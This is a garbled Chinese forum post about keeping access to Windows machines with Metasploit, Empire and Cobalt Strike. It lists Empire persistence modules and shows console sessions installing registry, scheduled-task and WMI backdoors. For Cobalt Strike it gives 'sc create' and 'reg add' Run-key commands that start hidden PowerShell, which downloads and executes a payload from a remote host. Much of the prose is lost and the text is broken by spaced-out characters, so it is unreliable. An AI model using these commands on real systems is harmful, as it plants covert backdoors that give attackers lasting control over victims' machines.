[932] 2019-09-28_三大渗透框架权限维持

文档创建者:s7ckTeam
浏览次数:5
最后更新:2025-01-16
2019-09-28_三大渗透框架权限维持   B y p a s s   B y p a s s   2 0 1 9 - 0 9 - 2 8 - - M e t a s p l o i t E m p i r e C o b a l t   S t r i k e 0 x 0 1   M S F 使 M S F m e t e r p r e t e r     s h e l l m e t e r p r e t e r   s h e l l s h e l l P e r s i s t e n c e ( p e r s i s t e n c e ) - U H K C U S o f t w a r e M i c r o s o f t W i n d o w s C u r r e n t V e r s i o n R u n 使 - X H K L M S o f t w a r e M i c r o s o f t W i n d o w s C u r r e n t V e r s i o n R u n - S S Y S T E M   #           C : W i n d o w s T e m p         C : U s e r s A d m i n i s t r a t o r A p p D a t a L o c a l T e m p #           H K C U S o f t w a r e M i c r o s o f t W i n d o w s C u r r e n t V e r s i o n R u n         H K L M S o f t w a r e M i c r o s o f t W i n d o w s C u r r e n t V e r s i o n R u n
M e t s v c   ( m e t s v c ) M e t e r p r e t e r
0 x 0 2   E m p i r e   E m p i r e p e r s i s t e n c e 1 8 e l e v a t e d m i s c p o w e r b r e a c h u s e r l a n d r e g i s t r y * a d d _ n e t u s e r d e a d u s e r b a c k d o o r _ l n k s c h t a s k s * a d d _ s i d _ h i s t o r y * e v e n t l o g * r e g i s t r y w m i * d e b u g g e r * r e s o l v e r s c h t a s k s w m i _ u p d a t e r * d i s a b l e _ m a c h i n e _ a c c t _ c h a n g e * g e t _ s s p s i n s t a l l _ s s p * m e m s s p * s k e l e t o n _ k e y * ( E m p i r e :   a g e n t s )   >   a g e n t s ( E m p i r e :   a g e n t s )   >   i n t e r a c t   U R L 3 F Z B V ( E m p i r e :   U R L 3 F Z B V )   >   u s e m o d u l e   p e r s i s t e n c e / e l e v a t e d / r e g i s t r y * ( E m p i r e :   p o w e r s h e l l / p e r s i s t e n c e / e l e v a t e d / r e g i s t r y )   >   s e t   L i s t e n e r   t e s t ( E m p i r e :   p o w e r s h e l l / p e r s i s t e n c e / e l e v a t e d / r e g i s t r y )   >   e x e c u t e
p o w e r s h e l l ( E m p i r e :   a g e n t s )   >   i n t e r a c t   9 N Z 2 R W B C ( E m p i r e :   9 N Z 2 R W B C )   >   u s e m o d u l e   p e r s i s t e n c e / e l e v a t e d / s c h t a s k s * ( E m p i r e :   p o w e r s h e l l / p e r s i s t e n c e / e l e v a t e d / s c h t a s k s )   >   s e t   L i s t e n e r   t e s t ( E m p i r e :   p o w e r s h e l l / p e r s i s t e n c e / e l e v a t e d / s c h t a s k s )   >   s e t   D a i l y T i m e   2 2 : 5 0 ( E m p i r e :   p o w e r s h e l l / p e r s i s t e n c e / e l e v a t e d / s c h t a s k s )   >   e x e c u t e
- U p d a t e r - p o w e r s h e l l w m i ( E m p i r e :   a g e n t s )   >   i n t e r a c t   9 N Z 2 R W B C ( E m p i r e :   9 N Z 2 R W B C )   >   u s e m o d u l e   p e r s i s t e n c e / e l e v a t e d / w m i ( E m p i r e :   p o w e r s h e l l / p e r s i s t e n c e / e l e v a t e d / w m i )   >   s e t   L i s t e n e r   t e s t ( E m p i r e :   p o w e r s h e l l / p e r s i s t e n c e / e l e v a t e d / w m i )   >   r u n
使 A u t o r u n s W M I 0 x 0 3   C o b a l t   S t r i k e C o b a l t   S t r i k e s h e l l C o b a l t   S t r i k e A t t a c k s - - W e b   D r i v e - b y - - S c a r i p t e d   W e b   D e l i v e r y p o w e r s h e l l
8 0 使 T y p e p o w e r s h e l l L a u n c h p o w e r s h e l l
s c   c r e a t e   " N a m e "   b i n p a t h =   " c m d   / c   s t a r t   p o w e r s h e l l . e x e   - n o p   - w   h i d d e n   - c   " I E X   ( ( n e w - o b j e c t   n e t . w e b c l i e n t ) . d o w n l o a d s t r i n g ( ' h t t p : / / 1 9 2 . 1 6 8 . 2 8 . 1 4 2 : 8 0 8 0 / a ' ) ) " " s c   d e s c r i p t i o n     N a m e   " J u s t   F o r   T e s t "       / / s c   c o n f i g   N a m e   s t a r t =   a u t o                           / / n e t   s t a r t   N a m e                                                   / / s h e l l w i n d o w s b e a c o n > g e t s y s t e m b e a c o n > s h e l l   r e g   a d d   H K L M S O F T W A R E M i c r o s o f t W i n d o w s C u r r e n t V e r s i o n R u n   / v   " K e y n a m e "   / t   R E G _ S Z   / d   " C : W i n d o w s S y s t e m 3 2 W i n d o w s P o w e r S h e l l v 1 . 0 p o w e r s h e l l . e x e   - n o p   - w   h i d d e n   - c   " I E X   ( ( n e w - o b j e c t   n e t . w e b c l i e n t ) . d o w n l o a d s t r i n g ( ' h t t p : / / 1 9 2 . 1 6 8 . 2 8 . 1 4 2 : 8 0 8 0 / a ' ) ) " "   / f p o w e r s h e l l s h e l l
H K E Y _ C U R R E N T _ U S E R S o f t w a r e M i c r o s o f t W i n d o w s C u r r e n t V e r s i o n R u n H K E Y _ L O C A L _ M A C H I N E S O F T W A R E M i c r o s o f t W i n d o w s C u r r e n t V e r s i o n R u n H K E Y _ L O C A L _ M A C H I N E S O F T W A R E M i c r o s o f t W i n d o w s   N T C u r r e n t V e r s i o n W i n l o g o n 0 x 0 4  

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则